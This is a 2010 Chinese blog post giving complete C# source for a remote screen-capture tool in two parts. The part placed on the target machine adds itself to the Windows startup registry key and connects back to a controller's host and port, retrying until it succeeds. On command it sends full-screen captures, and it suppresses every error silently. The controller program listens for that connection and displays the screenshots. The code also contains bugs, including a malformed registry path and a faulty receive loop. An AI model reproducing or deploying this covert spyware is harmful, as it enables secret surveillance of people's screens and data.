远程截取屏幕内容

//服务器端代码

 

 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Imaging;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Net.Sockets;
using Microsoft.Win32;
using System.Threading;

namespace 远程屏幕监视
{
    public partial class Form1 : Form
    {
        Socket socket = null;
        Thread th = null;
        string path = string.Empty;
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            //如果连接的配置文件不存在,则退出
            path = Path.Combine(Application.StartupPath, "config.ini");
            if (File.Exists(path) == false)
            {
                Application.Exit();
                return;
            }
            //检查注册表项,如果不存在启动项,则加入。

            RegistryKey RootKey = Registry.CurrentUser;
            RegistryKey subKey = null;
            try
            {
                subKey = RootKey.OpenSubKey(@"Software/Microsoft/Windows/CurrentVersion/Run", true);
                if (subKey.GetValue("ScreenViewer") == null)
                {
                    subKey.SetValue("ScreenViewer", Application.ExecutablePath);
                }
                subKey.Close();
            }
            catch {/* 出现错误,则忽略。 */ }
            RootKey.Close();  //关闭注册所有句柄,释放资源

            //连接
            IPAddress ip=null;
            int port=0;
           
            using (StreamReader sr = new StreamReader(path))
            {
                try
                {
                    string s = sr.ReadToEnd();
                    sr.Close();
                    string[] res = s.Split(new char[] {':' });
                    ip = Dns.GetHostAddresses(res[0])[0];
                    port = int.Parse(res[1]);
                }
                catch { }
            }
            try
            {
                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                //连接,循环
                while (true)
                {
                    try
                    {
                        socket.Connect(ip, port);
                        if (socket.Connected)
                        {
                            break;
                        }
                    }
                    catch { Thread.Sleep(5000); }
                }

                ThreadStart sss = new ThreadStart(this.DoReceiveAndWhrite);
                th = new Thread(sss);
                th.Start();
            }
            catch { }
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (th != null)
            {
                try
                {
                    th.Abort();
                }
                catch { th = null; }
            }

            if (socket != null)
            {
                try
                {
                    socket.Close();
                }
                catch
                {

                }
            }
            //关闭原因
            if (e.CloseReason == CloseReason.TaskManagerClosing ||
                e.CloseReason == CloseReason.WindowsShutDown)
            {
                Application.Exit();       //正常关闭
            }
        }


        /// <summary>
        /// 接收和发送
        /// </summary>
        private void DoReceiveAndWhrite()
        {
            try
            {
                while (true)
                {
                    byte[] buffer =new byte[1024];
                    //接受控制端的消息
                    socket.Blocking = true;
                    int len=socket.Receive(buffer);
                    if (len > 0)
                    {
                        string mss = Encoding.Default.GetString(buffer,0,len);
                        if (mss.Trim() == "<CATCH>") //仅摄屏一次
                        {
                            MemoryStream MS = GetBitmapStream();
                            byte[] tbuffer = new byte[1024];
                            MS.Seek(0, SeekOrigin.Begin);
                            while (MS.Read(tbuffer, 0, 1024) > 0)
                            {
                                socket.Send(tbuffer);//发送
                                tbuffer = new byte[1024];
                            }
                            MS.Close();
                            //结束标记
                            socket.Send(Encoding.Default.GetBytes("OK"));
                        }


                    }
                }
            }
            catch { }
        }


        /// <summary>
        /// 得到图象的内存流
        /// </summary>
        /// <returns></returns>
        private MemoryStream GetBitmapStream()
        {
            int width = Screen.PrimaryScreen.Bounds.Width;//宽
            int height = Screen.PrimaryScreen.Bounds.Height;//高
            //创建位图对象
            Bitmap mybit = new Bitmap(width, height);
            //复制屏幕内容到图象上
            Graphics g = Graphics.FromImage(mybit);
            MemoryStream ms = new MemoryStream();
            try
            {
                g.CopyFromScreen(0, 0, 0, 0, new Size(width, height));
                mybit.Save(ms, ImageFormat.Gif);
            }
            catch { return null; }
            finally
            {
                g.Dispose();
                mybit.Dispose();
                //ms.Close();
            }
            return ms;
        }


    }
}

 

 

 

 

=====================================

//客户端代码

 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;

namespace 客户端
{
    public partial class Form1 : Form
    {
        TcpListener listemer = null;
        Socket socket = null;
        Thread th = null;
        public Form1()
        {
            CheckForIllegalCrossThreadCalls = false;
            InitializeComponent();
            listemer = new TcpListener(IPAddress.Any,18889);
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            button1.Enabled = true;
            button2.Enabled = false;
        }

        private void Do()
        {
            socket = listemer.AcceptSocket();
            textBox1.Text = ((IPEndPoint)socket.RemoteEndPoint).Address.ToString();
            Form2 f = new Form2(socket);
            f.ShowDialog();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            listemer.Start();
            ThreadStart start = new ThreadStart(this.Do);
            th = new Thread(start);
            th.Start();
            button1.Enabled = false;
            button2.Enabled = true;
        }

        private void button2_Click(object sender, EventArgs e)
        {
            listemer.Stop();
            try
            {
                th.Abort();
            }
            catch { }

            button1.Enabled = true;
            button2.Enabled = false;
        }

        private void button3_Click(object sender, EventArgs e)
        {
            if(textBox2.Text=="")
                return;
            string filename = Path.Combine(Application.StartupPath, "config.ini");
            FileStream fsr = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.ReadWrite);
            StreamWriter sw = new StreamWriter(fsr);
            try
            {
                string s = textBox2.Text;
                sw.Write(s + ":18889");
                sw.Flush();
            }
            catch { MessageBox.Show("写入文件失败。"); }
            finally
            {
                sw.Close();
                sw.Dispose();

                fsr.Close();
                fsr.Dispose();
            }
        }
    }
}

 

 

==========================================================================

 

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.IO;

namespace 客户端
{
    public partial class Form2 : Form
    {
        Socket mySocket=null;
        public Form2(Socket s)
        {
            InitializeComponent();
            this.mySocket = s;
        }

        private void Form2_Load(object sender, EventArgs e)
        {

        }


        /// <summary>
        /// 获取图象
        /// </summary>
        /// <returns></returns>
        private Image GetBitmap()
        {
            Image mb = null;
            MemoryStream ms = new MemoryStream();
            byte[] buffer = null;
            try
            {
                mySocket.Blocking = true;
                //发送指令
                mySocket.Send(Encoding.Default.GetBytes("<CATCH>"));

                buffer = new byte[1024];
                //把接收到的字节写入内存流
                int count = mySocket.Receive(buffer);
                while (count > 0)
                {
                    string st = Encoding.Default.GetString(buffer,0,count);
                    if (st == "OK")
                    {
                        break;
                    }
                    ms.Write(buffer, 0, buffer.Length);
                    buffer = new byte[1024];
                    count = mySocket.Receive(buffer);
                }
                mb = Image.FromStream(ms);
            }
            catch
            {
                MessageBox.Show("读取远程数据出错。");
                return null;
            }
            finally
            {
                ms.Close();
            }

            return mb;
        }

        private void Form2_KeyDown(object sender, KeyEventArgs e)
        {
            if ((e.Alt == true) && (e.KeyCode == Keys.K))
            {
                this.BackgroundImage = GetBitmap();
                /*
                Graphics g = this.CreateGraphics();
                g.DrawImage(GetBitmap(),new Point(0,0));
                g.Dispose();
                 */
            }
        }

        private void Form2_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (mySocket != null)
            {
                try
                {
                    mySocket.Close();
                }
                catch { }
            }
        }


    }
}

 

 

 

 

 

效果图

 

运行效果图

 

 

效果图

 

posted @ 2010-09-12 11:57  东邪独孤  阅读(358)  评论(0编辑  收藏  举报